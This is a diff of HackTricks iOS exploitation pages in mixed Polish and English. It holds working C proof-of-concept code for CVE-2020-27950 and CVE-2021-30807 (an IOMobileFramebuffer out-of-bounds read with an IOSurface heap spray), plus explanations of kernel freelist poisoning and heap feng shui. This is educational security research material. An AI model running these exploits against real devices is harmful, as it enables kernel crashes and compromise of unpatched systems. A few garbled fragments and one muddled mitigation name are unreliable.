memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
|
||||
printf("[*] Reading back message 4\n");
|
||||
mach_msg((mach_msg_header_t *)buffer,
|
||||
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
|
||||
0,
|
||||
small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
|
||||
port,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
|
||||
|
||||
// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
|
||||
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
|
||||
|
||||
printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
## Źródła
|
||||
|
||||
- [Wpis na blogu Synacktiv](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -0,0 +1,297 @@
|
||||
# CVE-2021-30807: IOMobileFrameBuffer OOB
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Opis luki
|
||||
|
||||
You have a [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), but as summary:
|
||||
|
||||
- The vulnerable code path is **external method #83** of the **IOMobileFramebuffer / AppleCLCD** user client: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. This method receives a parameter controlled by the user that is not check in any way and that passes to the next function as **`scalar0`**.
|
||||
|
||||
- That method forwards into **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, where **`scalar0`** (a user-controlled **32-bit** value) is used as an **index** into an internal **array of pointers** without **any bounds check**:
|
||||
|
||||
> `ptr = *(this + 0xA58 + scalar0 * 8);` → passed to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` as an **`IOSurface*`**.\
|
||||
> **Wynik:** **OOB pointer read & type confusion** on that array. If the pointer isn't valid, the kernel deref panics → **DoS**.
|
||||
|
||||
> [!NOTE]
|
||||
> To zostało naprawione w **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1**
|
||||
|
||||
|
||||
> [!WARNING]
|
||||
> Początkowa funkcja wywołania `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` jest chroniona przez entitlement **`com.apple.private.allow-explicit-graphics-priority`**. Jednak, **WebKit.WebContent** ma to entitlement, więc może być użyte do wywołania vuln z procesu działającego w piaskownicy.
|
||||
|
||||
## DoS PoC
|
||||
|
||||
The following is the initial DoS PoC from the ooriginal blog post with extra comments:
|
||||
```c
|
||||
// PoC for CVE-2021-30807 trigger (annotated)
|
||||
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
|
||||
// Build/run only on devices you own and that are vulnerable.
|
||||
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory)
|
||||
// https://support.apple.com/en-us/103144
|
||||
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
|
||||
|
||||
void trigger_clcd_vuln(void) {
|
||||
kern_return_t ret;
|
||||
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
|
||||
|
||||
// The "type" argument is the type (selector) of user client to open.
|
||||
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
|
||||
// external methods we need (incl. selector 83). If this doesn't work on your
|
||||
// build, try different types or query IORegistry to enumerate.
|
||||
int type = 2;
|
||||
|
||||
// 1) Locate the IOMobileFramebuffer service in the IORegistry.
|
||||
// This returns the first matched service object (a kernel object handle).
|
||||
io_service_t service = IOServiceGetMatchingService(
|
||||
kIOMasterPortDefault,
|
||||
IOServiceMatching("IOMobileFramebuffer"));
|
||||
|
||||
if (service == MACH_PORT_NULL) {
|
||||
printf("failed to open service\n");
|
||||
return;
|
||||
}
|
||||
|
||||
printf("service: 0x%x\n", service);
|
||||
|
||||
// 2) Open a connection (user client) to the service.
|
||||
// The user client is what exposes external methods to userland.
|
||||
// 'type' selects which user client class/variant to instantiate.
|
||||
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
|
||||
if (ret != KERN_SUCCESS) {
|
||||
printf("failed to open userclient: %s\n", mach_error_string(ret));
|
||||
return;
|
||||
}
|
||||
|
||||
printf("client: 0x%x\n", shared_user_client_conn);
|
||||
|
||||
printf("call externalMethod\n");
|
||||
|
||||
// 3) Prepare input scalars for the external method call.
|
||||
// The vulnerable path uses a 32-bit scalar as an INDEX into an internal
|
||||
// array of pointers WITHOUT bounds checking (OOB read / type confusion).
|
||||
// We set it to a large value to force the out-of-bounds access.
|
||||
uint64_t scalars[4] = { 0x0 };
|
||||
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
|
||||
|
||||
// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
|
||||
uint64_t output_scalars[4] = { 0 };
|
||||
uint32_t output_scalars_size = 1;
|
||||
|
||||
printf("call s_default_fb_surface\n");
|
||||
|
||||
// 5) Invoke external method #83.
|
||||
// On vulnerable builds, this path ends up calling:
|
||||
// IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
|
||||
// → IOMobileFramebufferLegacy::get_displayed_surface(...)
|
||||
// which uses our index to read a pointer and then passes it as IOSurface*.
|
||||
// If the pointer is bogus, IOSurface code will dereference it and the kernel
|
||||
// will panic (DoS).
|
||||
ret = IOConnectCallMethod(
|
||||
shared_user_client_conn,
|
||||
83, // **Selector 83**: vulnerable external method
|
||||
scalars, 1, // input scalars (count = 1; the OOB index)
|
||||
NULL, 0, // no input struct
|
||||
output_scalars, &output_scalars_size, // optional outputs
|
||||
NULL, NULL); // no output struct
|
||||
|
||||
// 6) Check the call result. On many vulnerable targets, you'll see either
|
||||
// KERN_SUCCESS right before a panic (because the deref happens deeper),
|
||||
// or an error if the call path rejects the request (e.g., entitlement/type).
|
||||
if (ret != KERN_SUCCESS) {
|
||||
printf("failed to call external method: 0x%x --> %s\n",
|
||||
ret, mach_error_string(ret));
|
||||
return;
|
||||
}
|
||||
|
||||
printf("external method returned KERN_SUCCESS\n");
|
||||
|
||||
// 7) Clean up the user client connection handle.
|
||||
IOServiceClose(shared_user_client_conn);
|
||||
printf("success!\n");
|
||||
}
|
||||
```
|
||||
## Wyjaśnienie PoC arbitralnego odczytu
|
||||
|
||||
1. **Otwarcie właściwego user clienta**
|
||||
|
||||
- `get_appleclcd_uc()` znajduje usługę **AppleCLCD** i otwiera **user client type 2**. AppleCLCD i IOMobileFramebuffer dzielą tę samą tabelę external-methods; typ 2 ujawnia **selector 83**, podatną metodę. **To jest Twoje wejście do buga.** E_POC/)
|
||||
|
||||
**Dlaczego 83 ma znaczenie:** zdekompilowana ścieżka to:
|
||||
|
||||
- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
|
||||
→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\
|
||||
→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\
|
||||
Wewnątrz tego ostatniego wywołania kod **używa twojego 32-bitowego scalara jako indeksu tablicy bez sprawdzenia zakresu**, pobiera wskaźnik z **`this + 0xA58 + index*8`**, i **przekazuje go jako `IOSurface*`** do `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **To jest OOB + type confusion.**
|
||||
|
||||
2. **Heap spray (dlaczego tu pojawia się IOSurface)**
|
||||
|
||||
- `do_spray()` używa **`IOSurfaceRootUserClient`** do **utworzenia wielu IOSurface'ów** i **wstrzyknięcia małych wartości** (styl `s_set_value`). To wypełnia pobliskie sterownikowe heapy **wskaźnikami do prawidłowych obiektów IOSurface**.
|
||||
|
||||
- **Cel:** gdy selector 83 odczyta poza poprawną tabelę, prawdopodobnie **slot OOB będzie zawierał wskaźnik do jednego z twoich (prawdziwych) IOSurface'ów** — dzięki temu późniejsze dereferencje **nie powodują crasha** i **powodują sukces**. IOSurface to klasyczny, dobrze udokumentowany primitive do heap sprayu w kernelu, a post Saara wyraźnie wymienia metody **create / set_value / lookup** użyte w tym flow exploitacji.
|
||||
|
||||
3. **Sztuczka "offset/8" (czym naprawdę jest ten indeks)**
|
||||
|
||||
- W `trigger_oob(offset)` ustawiasz `scalars[0] = offset / 8`.
|
||||
|
||||
- **Dlaczego dzielić przez 8?** Kernel wykonuje **`base + index*8`**, aby obliczyć, którą **slotową** (pointer-sized) pozycję odczytać. Wybierasz **"numer slotu N"**, a nie bajtowy offset. **Osiem bajtów na slot** na 64-bit.
|
||||
|
||||
- Obliczony adres to **`this + 0xA58 + index*8`**. PoC używa dużej stałej (`0x1200000 + 0x1048`), po prostu żeby wejść **daleko poza granice** do regionu, który próbowałeś **gęsto zapełnić wskaźnikami IOSurface**. **Jeśli spray "wygra", trafiony slot będzie poprawnym `IOSurface*`.**
|
||||
|
||||
4. **Co zwraca selector 83 (to jest subtelna część)**
|
||||
|
||||
- Wywołanie to:
|
||||
|
||||
`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
|
||||
output_scalars, &output_scalars_size, NULL, NULL);`o
|
||||
|
||||
- Wewnątrz, po OOB pobraniu wskaźnika, sterownik wywołuje\
|
||||
**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**.
|
||||
|
||||
- **Wynik:** **`output_scalars[0]` jest nazwą portu Mach (u32 handle) w twoim tasku** dla *dowolnego wskaźnika obiektu, który podałeś przez OOB*. **To nie jest surowy kernelowy adres leak; to handle w userspace (send right).** To dokładne zachowanie (kopiowanie *port name*) jest pokazane w dekompilacji Saara.
|
||||
|
||||
**Dlaczego to jest użyteczne:** mając **nazwę portu** do (rzekomego) IOSurface możesz teraz użyć metod IOSurfaceRoot takich jak:
|
||||
|
||||
- **`s_lookup_surface_from_port` (method 34)** → zamienia port na **surface ID**, którym możesz operować przez inne wywołania IOSurface, oraz
|
||||
|
||||
- **`s_create_port_from_surface` (method 35)** jeśli potrzebujesz odwrotności.\
|
||||
Saar wyraźnie wskazuje te metody jako następny krok. **PoC pokazuje, że możesz "wyprodukować" prawidłowy handle IOSurface z slotu OOB.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)
|
||||
|
||||
This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) and added some comments to explain the steps:
|
||||
```c
|
||||
#include "exploit.h"
|
||||
|
||||
// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
|
||||
io_connect_t get_appleclcd_uc(void) {
|
||||
kern_return_t ret;
|
||||
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
|
||||
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐
|
||||
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
|
||||
|
||||
// Find the **AppleCLCD** service in the IORegistry.
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
|
||||
IOServiceMatching("AppleCLCD"));
|
||||
if(service == MACH_PORT_NULL) {
|
||||
printf("[-] failed to open service\n");
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
printf("[*] AppleCLCD service: 0x%x\n", service);
|
||||
|
||||
// Open a user client connection to AppleCLCD with the chosen **type**.
|
||||
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
|
||||
if(ret != KERN_SUCCESS) {
|
||||
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
|
||||
return shared_user_client_conn;
|
||||
}
|
||||
|
||||
// Trigger the OOB index path of external method #83.
|
||||
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
|
||||
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
|
||||
uint64_t trigger_oob(uint64_t offset) {
|
||||
kern_return_t ret;
|
||||
|
||||
// The method takes a single 32-bit scalar that it uses as an index.
|
||||
uint64_t scalars[1] = { 0x0 };
|
||||
scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐
|
||||
|
||||
// #83 returns one scalar. In this flow it will be the Mach port name
|
||||
// (a u32 handle in our task), not a kernel pointer.
|
||||
uint64_t output_scalars[1] = { 0 };
|
||||
uint32_t output_scalars_size = 1;
|
||||
|
||||
io_connect_t appleclcd_uc = get_appleclcd_uc();
|
||||
if (appleclcd_uc == MACH_PORT_NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Call external method 83. Internally:
|
||||
// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch
|
||||
// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
|
||||
// which creates a send right for that object and writes its port name
|
||||
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
|
||||
ret = IOConnectCallMethod(appleclcd_uc, 83,
|
||||
scalars, 1,
|
||||
NULL, 0,
|
||||
output_scalars, &output_scalars_size,
|
||||
NULL, NULL);
|
||||
|
||||
if (ret != KERN_SUCCESS) {
|
||||
printf("[-] external method 83 failed: %s\n", mach_error_string(ret));
|
||||
return 0;
|
||||
}
|
||||
|
||||
// This is the key: you get back a Mach port name (u32) to whatever
|
||||
// object was at that OOB slot (ideally an IOSurface you sprayed).
|
||||
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
|
||||
return output_scalars[0];
|
||||
}
|
||||
|
||||
// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
|
||||
// real IOSurface (easier & stabler than a fully fake object).
|
||||
bool do_spray(void) {
|
||||
char data[0x10];
|
||||
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
|
||||
|
||||
// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
|
||||
io_connect_t iosurface_uc = get_iosurface_root_uc();
|
||||
if (iosurface_uc == MACH_PORT_NULL) {
|
||||
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Create many IOSurfaces and use set_value / value spray helpers
|
||||
// (Brandon Azad-style) to fan out allocations in kalloc. ⭐
|
||||
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
|
||||
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
|
||||
surface_ids[i] = create_surface(iosurface_uc); // s_create_surface
|
||||
if (surface_ids[i] <= 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Spray small values repeatedly: tends to allocate/fill predictable
|
||||
// kalloc regions near where the IOMFB table OOB will read from.
|
||||
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
|
||||
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
|
||||
20, 200, // rounds, per-round items
|
||||
data, sizeof(data),
|
||||
NULL) == false) {
|
||||
printf("iosurface spray failed\n");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
|
||||
io_connect_t iosurface_uc = get_iosurface_root_uc();
|
||||
if (iosurface_uc == MACH_PORT_NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("[*] do spray\n");
|
||||
if (do_spray() == false) {
|
||||
printf("[-] shape failed, abort\n");
|
||||
return 1;
|
||||
}
|
||||
printf("[*] spray success\n");
|
||||
|
||||
// Trigger the OOB read. The magic constant chooses a pointer-slot
|
||||
// far beyond the legit array (offset is in bytes; index = offset/8).
|
||||
// If the spray worked, this returns a **Mach port name** (handle) to one
|
||||
// of your sprayed IOSurfaces; otherwise it may crash.
|
||||
printf("[*] trigger\n");
|
||||
trigger_oob(0x1200000 + 0x1048);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
## Referencje
|
||||
- [Oryginalny writeup autorstwa Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
|
||||
- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
|
||||
- [Badania jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
272
src/binary-exploitation/ios-exploiting/README.md
Normal file
272
src/binary-exploitation/ios-exploiting/README.md
Normal file
@ -0,0 +1,272 @@
|
||||
# iOS Exploiting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## iOS Exploit Mitigations
|
||||
|
||||
- **Code Signing** in iOS działa w ten sposób, że każdy kawałek wykonywalnego kodu (apps, libraries, extensions, etc.) musi być kryptograficznie podpisany certyfikatem wydanym przez Apple. Gdy kod jest ładowany, iOS weryfikuje podpis cyfrowy względem zaufanego rootu Apple. Jeśli podpis jest nieprawidłowy, brakujący lub zmodyfikowany, system odmawia uruchomienia. To uniemożliwia atakującym wstrzykiwanie złośliwego kodu do legalnych aplikacji lub uruchamianie unsigned binaries, efektywnie blokując większość łańcuchów exploitów polegających na wykonaniu dowolnego lub zmodyfikowanego kodu.
|
||||
- **CoreTrust** to podsystem iOS odpowiedzialny za egzekwowanie code signing w czasie wykonywania. Weryfikuje on podpisy bezpośrednio przy użyciu root certyfikatu Apple, nie polegając na cache’owanych store’ach zaufania, co oznacza, że tylko binaria podpisane przez Apple (lub posiadające ważne entitlements) mogą być uruchamiane. CoreTrust zapewnia, że nawet jeśli atakujący zmanipuluje aplikację po instalacji, zmodyfikuje systemowe biblioteki lub spróbuje załadować unsigned code, system zablokuje wykonanie, chyba że kod nadal jest poprawnie podpisany. Ta ścisła egzekucja zamyka wiele wektorów post-exploitation, które starsze wersje iOS pozwalały obejść przez słabsze lub obchodliwe sprawdzanie podpisów.
|
||||
- **Data Execution Prevention (DEP)** oznacza regiony pamięci jako non-executable, chyba że jawnie zawierają kod. To uniemożliwia atakującym wstrzykiwanie shellcode do obszarów danych (jak stack czy heap) i jego uruchomienie, zmuszając do użycia bardziej złożonych technik jak ROP (Return-Oriented Programming).
|
||||
- **ASLR (Address Space Layout Randomization)** losowo rozmieszcza adresy pamięci kodu, bibliotek, stosu i sterty przy każdym uruchomieniu systemu. To utrudnia atakującym przewidzenie, gdzie znajdują się przydatne instrukcje lub gadgets, łamiąc wiele łańcuchów exploitów zależnych od stałego layoutu pamięci.
|
||||
- **KASLR (Kernel ASLR)** stosuje ten sam koncept randomizacji do kernela iOS. Poprzez mieszanie bazowego adresu kernela przy każdym bootie, uniemożliwia atakującym niezawodne zlokalizowanie funkcji czy struktur kernela, podnosząc trudność exploitów na poziomie kernela, które w przeciwnym razie uzyskałyby pełną kontrolę nad systemem.
|
||||
- **Kernel Patch Protection (KPP)** znane także jako **AMCC (Apple Mobile File Integrity)** w iOS, ciągle monitoruje strony kodu kernela, aby upewnić się, że nie zostały zmodyfikowane. Jeśli wykryte zostanie jakiekolwiek manipulowanie — np. exploit próbujący załatać funkcje kernela albo wstrzyknąć złośliwy kod — urządzenie natychmiast zpanicuje i zrestartuje się. Ta ochrona sprawia, że trwałe exploity na poziomie kernela są znacznie trudniejsze, ponieważ atakujący nie mogą po prostu hookować lub łatać instrukcji kernela bez wywołania crasha systemu.
|
||||
- **Kernel Text Readonly Region (KTRR)** to sprzętowa funkcja bezpieczeństwa wprowadzona na urządzeniach iOS. Wykorzystuje kontroler pamięci CPU, aby oznaczyć sekcję kodu (text) kernela jako na stałe read-only po starcie. Gdy zostanie zablokowana, nawet sam kernel nie może modyfikować tego regionu pamięci. To zapobiega atakującym — a nawet uprzywilejowanemu kodowi — w łacie instrukcji kernela w czasie działania, zamykając dużą klasę exploitów polegających na bezpośredniej modyfikacji kodu kernela.
|
||||
- **Pointer Authentication Codes (PAC)** używają podpisów kryptograficznych osadzonych w nieużywanych bitach pointerów, aby weryfikować ich integralność przed użyciem. Gdy pointer (np. return address lub function pointer) jest tworzony, CPU podpisuje go z użyciem sekretnego klucza; przed dereferencją CPU sprawdza ten podpis. Jeśli pointer został zmanipulowany, check nie przejdzie i wykonanie zostanie przerwane. To uniemożliwia atakującym fałszowanie lub ponowne użycie uszkodzonych pointerów w exploitach bazujących na korupcji pamięci, czyniąc techniki takie jak ROP czy JOP znacznie trudniejszymi do zrealizowania.
|
||||
- **Privilege Access never (PAN)** to funkcja sprzętowa, która zapobiega bezpośredniemu dostępowi kernela (privileged mode) do pamięci user-space, chyba że jawnie włączy dostęp. To hamuje atakujących, którzy uzyskali wykonanie kodu w kernelu, przed łatwym odczytem lub zapisem pamięci użytkownika celem eskalacji exploitów lub kradzieży wrażliwych danych. Przez egzekwowanie ścisłego rozdziału, PAN zmniejsza wpływ exploitów kernelowych i blokuje wiele powszechnych technik eskalacji uprawnień.
|
||||
- **Page Protection Layer (PPL)** to mechanizm bezpieczeństwa iOS, który chroni krytyczne regiony pamięci zarządzane przez kernel, szczególnie te związane z code signing i entitlements. Egzekwuje ścisłe write protections używając MMU (Memory Management Unit) oraz dodatkowych checków, zapewniając, że nawet uprzywilejowany kod kernela nie może arbitralnie modyfikować wrażliwych stron. To uniemożliwia atakującym, którzy uzyskali execution na poziomie kernela, manipulowanie strukturami krytycznymi dla bezpieczeństwa, czyniąc persistence i obejścia code-signing znacznie trudniejszymi.
|
||||
|
||||
## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era)
|
||||
|
||||
Kernel używał **zone allocator** (`kalloc`) podzielonego na strefy o stałym rozmiarze ("zones").
|
||||
Każda strefa przechowywała alokacje tylko jednej klasy rozmiaru.
|
||||
|
||||
Z ekranu:
|
||||
|
||||
| Zone Name | Element Size | Example Use |
|
||||
|----------------------|--------------|-----------------------------------------------------------------------------|
|
||||
| `default.kalloc.16` | 16 bytes | Very small kernel structs, pointers. |
|
||||
| `default.kalloc.32` | 32 bytes | Small structs, object headers. |
|
||||
| `default.kalloc.64` | 64 bytes | IPC messages, tiny kernel buffers. |
|
||||
| `default.kalloc.128` | 128 bytes | Medium objects like parts of `OSObject`. |
|
||||
| `default.kalloc.256` | 256 bytes | Larger IPC messages, arrays, device structures. |
|
||||
| … | … | … |
|
||||
| `default.kalloc.1280`| 1280 bytes | Large structures, IOSurface/graphics metadata. |
|
||||
|
||||
**Jak to działało:**
|
||||
- Każde żądanie alokacji było **zaokrąglane w górę** do najbliższego rozmiaru strefy.
|
||||
(Np. żądanie 50 bajtów trafiało do strefy `kalloc.64`).
|
||||
- Pamięć w każdej strefie była utrzymywana w **freelist** — chunky zwolnione przez kernel wracały do tej strefy.
|
||||
- Jeśli przepełniłeś 64-bajtowy bufor, nadpisałbyś **następny obiekt w tej samej strefie**.
|
||||
|
||||
Dlatego właśnie **heap spraying / feng shui** było tak skuteczne: można było przewidzieć sąsiedztwo obiektów przez spryskiwanie alokacji tej samej klasy rozmiaru.
|
||||
|
||||
### The freelist
|
||||
|
||||
Wewnątrz każdej strefy kalloc, zwolnione obiekty nie były zwracane bezpośrednio do systemu — trafiały do freelist, listy powiązanej dostępnych chunków.
|
||||
|
||||
- Gdy chunk był zwalniany, kernel zapisywał wskaźnik na początek tego chunka → adres następnego wolnego chunka w tej samej strefie.
|
||||
|
||||
- Strefa trzymała HEAD wskaźnik do pierwszego wolnego chunka.
|
||||
|
||||
- Alokacja zawsze używała aktualnego HEAD:
|
||||
|
||||
1. Pop HEAD (zwróć tę pamięć callerowi).
|
||||
|
||||
2. Update HEAD = HEAD->next (przechowywane w headerze zwolnionego chunka).
|
||||
|
||||
- Freeing wrzucało chunk z powrotem:
|
||||
|
||||
- `freed_chunk->next = HEAD`
|
||||
|
||||
- `HEAD = freed_chunk`
|
||||
|
||||
Więc freelist był po prostu linked list budowaną wewnątrz samej zwolnionej pamięci.
|
||||
|
||||
Normal state:
|
||||
```
|
||||
Zone page (64-byte chunks for example):
|
||||
[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ]
|
||||
|
||||
Freelist view:
|
||||
HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL
|
||||
(next ptrs stored at start of freed chunks)
|
||||
```
|
||||
### Wykorzystywanie freelist
|
||||
|
||||
Ponieważ pierwsze 8 bajtów wolnego chunk = freelist pointer, atakujący może go uszkodzić:
|
||||
|
||||
1. **Heap overflow** into an adjacent freed chunk → overwrite its “next” pointer.
|
||||
|
||||
2. **Use-after-free** write into a freed object → overwrite its “next” pointer.
|
||||
|
||||
Then, on the next allocation of that size:
|
||||
|
||||
- Alokator wyciąga (pop) sfałszowany chunk.
|
||||
|
||||
- Podąża za dostarczonym przez atakującego “next” pointer.
|
||||
|
||||
- Zwraca wskaźnik do dowolnej pamięci, umożliwiając fake object primitives lub ukierunkowane nadpisanie.
|
||||
|
||||
Wizualny przykład freelist poisoning:
|
||||
```
|
||||
Before corruption:
|
||||
HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL
|
||||
|
||||
After attacker overwrite of F1->next:
|
||||
HEAD ──► [ F1 ]
|
||||
(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen)
|
||||
|
||||
Next alloc of this zone → kernel hands out memory at attacker-controlled address.
|
||||
```
|
||||
Ten freelist design sprawiał, że eksploatacja była wysoce efektywna przed hardeningiem: przewidywalni neighbors z heap sprays, surowe wskaźniki raw pointer freelist links oraz brak separacji typów pozwalały atakującym eskalować błędy UAF/overflow do dowolnej kontroli pamięci jądra.
|
||||
|
||||
### Heap Grooming / Feng Shui
|
||||
The goal of heap grooming is to **shape the heap layout** so that when an attacker triggers an overflow or use-after-free, the target (victim) object sits right next to an attacker-controlled object.\
|
||||
That way, when memory corruption happens, the attacker can reliably overwrite the victim object with controlled data.
|
||||
|
||||
**Steps:**
|
||||
|
||||
1. Spray allocations (fill the holes)
|
||||
- Over time, the kernel heap gets fragmented: some zones have holes where old
|
||||
objects were freed.
|
||||
- The attacker first makes lots of dummy allocations to fill these gaps, so
|
||||
the heap becomes “packed” and predictable.
|
||||
|
||||
2. Force new pages
|
||||
- Once the holes are filled, the next allocations must come from new pages
|
||||
added to the zone.
|
||||
- Fresh pages mean objects will be clustered together, not scattered across
|
||||
old fragmented memory.
|
||||
- This gives the attacker much better control of neighbors.
|
||||
|
||||
3. Place attacker objects
|
||||
- The attacker now sprays again, creating lots of attacker-controlled objects
|
||||
in those new pages.
|
||||
- These objects are predictable in size and placement (since they all belong
|
||||
to the same zone).
|
||||
|
||||
4. Free a controlled object (make a gap)
|
||||
- The attacker deliberately frees one of their own objects.
|
||||
- This creates a “hole” in the heap, which the allocator will later reuse for
|
||||
the next allocation of that size.
|
||||
|
||||
5. Victim object lands in the hole
|
||||
- The attacker triggers the kernel to allocate the victim object (the one
|
||||
they want to corrupt).
|
||||
- Since the hole is the first available slot in the freelist, the victim is
|
||||
placed exactly where the attacker freed their object.
|
||||
|
||||
6. Overflow / UAF into victim
|
||||
- Now the attacker has attacker-controlled objects around the victim.
|
||||
- By overflowing from one of their own objects (or reusing a freed one), they
|
||||
can reliably overwrite the victim’s memory fields with chosen values.
|
||||
|
||||
**Why it works**:
|
||||
|
||||
- Zone allocator predictability: allocations of the same size always come from
|
||||
the same zone.
|
||||
- Freelist behavior: new allocations reuse the most recently freed chunk first.
|
||||
- Heap sprays: attacker fills memory with predictable content and controls layout.
|
||||
- End result: attacker controls where the victim object lands and what data sits
|
||||
next to it.
|
||||
|
||||
---
|
||||
|
||||
## Nowoczesny Kernel Heap (iOS 15+/A12+ SoCs)
|
||||
|
||||
Apple wzmocniło allocator i sprawiło, że **heap grooming jest znacznie trudniejsze**:
|
||||
|
||||
### 1. From Classic kalloc to kalloc_type
|
||||
- **Before**: a single `kalloc.<size>` zone existed for each size class (16, 32, 64, … 1280, etc.). Any object of that size was placed there → attacker objects could sit next to privileged kernel objects.
|
||||
- **Now**:
|
||||
- Kernel objects are allocated from **typed zones** (`kalloc_type`).
|
||||
- Each type of object (e.g., `ipc_port_t`, `task_t`, `OSString`, `OSData`) has its own dedicated zone, even if they’re the same size.
|
||||
- The mapping between object type ↔ zone is generated from the **kalloc_type system** at compile time.
|
||||
|
||||
An attacker can no longer guarantee that controlled data (`OSData`) ends up adjacent to sensitive kernel objects (`task_t`) of the same size.
|
||||
|
||||
### 2. Slabs and Per-CPU Caches
|
||||
- The heap is divided into **slabs** (pages of memory carved into fixed-size chunks for that zone).
|
||||
- Each zone has a **per-CPU cache** to reduce contention.
|
||||
- Allocation path:
|
||||
1. Try per-CPU cache.
|
||||
2. If empty, pull from the global freelist.
|
||||
3. If freelist is empty, allocate a new slab (one or more pages).
|
||||
- **Benefit**: This decentralization makes heap sprays less deterministic, since allocations may be satisfied from different CPUs’ caches.
|
||||
|
||||
### 3. Randomization inside zones
|
||||
- Within a zone, freed elements are not handed back in simple FIFO/LIFO order.
|
||||
- Modern XNU uses **encoded freelist pointers** (safe-linking like Linux, introduced ~iOS 14).
|
||||
- Each freelist pointer is **XOR-encoded** with a per-zone secret cookie.
|
||||
- This prevents attackers from forging a fake freelist pointer if they gain a write primitive.
|
||||
- Some allocations are **randomized in their placement within a slab**, so spraying doesn’t guarantee adjacency.
|
||||
|
||||
### 4. Guarded Allocations
|
||||
- Certain critical kernel objects (e.g., credentials, task structures) are allocated in **guarded zones**.
|
||||
- These zones insert **guard pages** (unmapped memory) between slabs or use **redzones** around objects.
|
||||
- Any overflow into the guard page triggers a fault → immediate panic instead of silent corruption.
|
||||
|
||||
### 5. Page Protection Layer (PPL) and SPTM
|
||||
- Even if you control a freed object, you can’t modify all of kernel memory:
|
||||
